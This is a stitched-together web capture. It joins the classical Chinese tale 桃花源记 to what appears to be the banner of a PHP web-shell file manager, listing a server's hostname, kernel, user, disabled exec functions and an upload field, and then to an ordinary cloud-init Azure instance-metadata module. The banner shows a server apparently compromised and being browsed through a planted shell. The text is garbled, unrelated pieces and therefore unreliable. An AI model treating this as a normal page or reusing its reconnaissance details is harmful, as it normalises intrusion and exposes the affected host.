晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /lib/python3.6/site-packages/cloudinit/sources/azure/ |
Upload File : |
# Copyright (C) 2022 Microsoft Corporation.
#
# This file is part of cloud-init. See LICENSE file for license information.
import logging
from time import time
from typing import Dict, Optional, Type, Union
import requests
from cloudinit import util
from cloudinit.sources.helpers.azure import report_diagnostic_event
from cloudinit.url_helper import UrlError, readurl
LOG = logging.getLogger(__name__)
IMDS_URL = "http://169.254.169.254/metadata"
class ReadUrlRetryHandler:
"""Manager for readurl retry behavior using exception_callback().
:param logging_backoff: Backoff to limit logging.
:param max_connection_errors: Number of connection errors to retry on.
:param retry_codes: Set of http codes to retry on.
:param retry_deadline: Optional time()-based deadline to retry until.
"""
def __init__(
self,
*,
logging_backoff: float = 1.0,
max_connection_errors: Optional[int] = None,
retry_codes=(
404, # not found (yet)
410, # gone / unavailable (yet)
429, # rate-limited/throttled
500, # server error
),
retry_deadline: Optional[float] = None,
) -> None:
self.logging_backoff = logging_backoff
self.max_connection_errors = max_connection_errors
self.retry_codes = retry_codes
self.retry_deadline = retry_deadline
self._logging_threshold = 1.0
self._request_count = 0
self._last_error: Union[None, Type, int] = None
def exception_callback(self, req_args, exception) -> bool:
self._request_count += 1
if not isinstance(exception, UrlError):
report_diagnostic_event(
"Polling IMDS failed with unexpected exception: %r"
% (exception),
logger_func=LOG.warning,
)
return False
log = True
if self.retry_deadline is not None and time() >= self.retry_deadline:
retry = False
else:
retry = True
# Check for connection errors which may occur early boot, but
# are otherwise indicative that we are not connecting with the
# primary NIC.
if self.max_connection_errors is not None and isinstance(
exception.cause, requests.ConnectionError
):
self.max_connection_errors -= 1
if self.max_connection_errors <= 0:
retry = False
elif (
exception.code is not None
and exception.code not in self.retry_codes
):
retry = False
if self._request_count >= self._logging_threshold:
self._logging_threshold *= self.logging_backoff
else:
log = False
# Always log if error does not match previous.
if exception.code is not None:
# This is an HTTP response with failing code, log if different.
if self._last_error != exception.code:
log = True
self._last_error = exception.code
elif (
# No previous error to match against.
self._last_error is None
# Previous error is exception code (int).
or not isinstance(self._last_error, type)
# Previous error is different class.
or not isinstance(exception.cause, self._last_error)
):
log = True
self._last_error = type(exception.cause)
if log or not retry:
report_diagnostic_event(
"Polling IMDS failed attempt %d with exception: %r"
% (self._request_count, exception),
logger_func=LOG.info,
)
return retry
def _fetch_url(
url: str,
*,
retry_handler: ReadUrlRetryHandler,
log_response: bool = True,
timeout: int = 30,
) -> bytes:
"""Fetch URL from IMDS.
:param url: url to fetch.
:param log_response: log responses in readurl().
:param retry_deadline: time()-based deadline to retry until.
:param timeout: Read/connection timeout in seconds for readurl().
:raises UrlError: on error fetching metadata.
"""
try:
response = readurl(
url,
exception_cb=retry_handler.exception_callback,
headers={"Metadata": "true"},
infinite=True,
log_req_resp=log_response,
timeout=timeout,
)
except UrlError as error:
report_diagnostic_event(
"Failed to fetch metadata from IMDS: %s" % error,
logger_func=LOG.warning,
)
raise
return response.contents
def _fetch_metadata(
url: str,
*,
retry_handler: ReadUrlRetryHandler,
) -> Dict:
"""Fetch IMDS metadata.
:param url: url to fetch.
:param retry_deadline: time()-based deadline to retry until.
:raises UrlError: on error fetching metadata.
:raises ValueError: on error parsing metadata.
"""
metadata = _fetch_url(url, retry_handler=retry_handler)
try:
return util.load_json(metadata)
except ValueError as error:
report_diagnostic_event(
"Failed to parse metadata from IMDS: %s" % error,
logger_func=LOG.warning,
)
raise
def fetch_metadata_with_api_fallback(
retry_deadline: float, max_connection_errors: Optional[int] = None
) -> Dict:
"""Fetch extended metadata, falling back to non-extended as required.
:param retry_deadline: time()-based deadline to retry until.
:raises UrlError: on error fetching metadata.
:raises ValueError: on error parsing metadata.
"""
retry_handler = ReadUrlRetryHandler(
max_connection_errors=max_connection_errors,
retry_deadline=retry_deadline,
)
try:
url = IMDS_URL + "/instance?api-version=2021-08-01&extended=true"
return _fetch_metadata(url, retry_handler=retry_handler)
except UrlError as error:
if error.code == 400:
report_diagnostic_event(
"Falling back to IMDS api-version: 2019-06-01",
logger_func=LOG.warning,
)
retry_handler = ReadUrlRetryHandler(
max_connection_errors=max_connection_errors,
retry_deadline=retry_deadline,
)
url = IMDS_URL + "/instance?api-version=2019-06-01"
return _fetch_metadata(url, retry_handler=retry_handler)
raise
def fetch_reprovision_data() -> bytes:
"""Fetch extended metadata, falling back to non-extended as required.
:raises UrlError: on error.
"""
url = IMDS_URL + "/reprovisiondata?api-version=2019-06-01"
handler = ReadUrlRetryHandler(
logging_backoff=2.0,
max_connection_errors=1,
retry_codes=(
404,
410,
429,
),
retry_deadline=None,
)
response = readurl(
url,
exception_cb=handler.exception_callback,
headers={"Metadata": "true"},
infinite=True,
log_req_resp=False,
timeout=30,
)
report_diagnostic_event(
f"Polled IMDS {handler._request_count+1} time(s)",
logger_func=LOG.debug,
)
return response.contents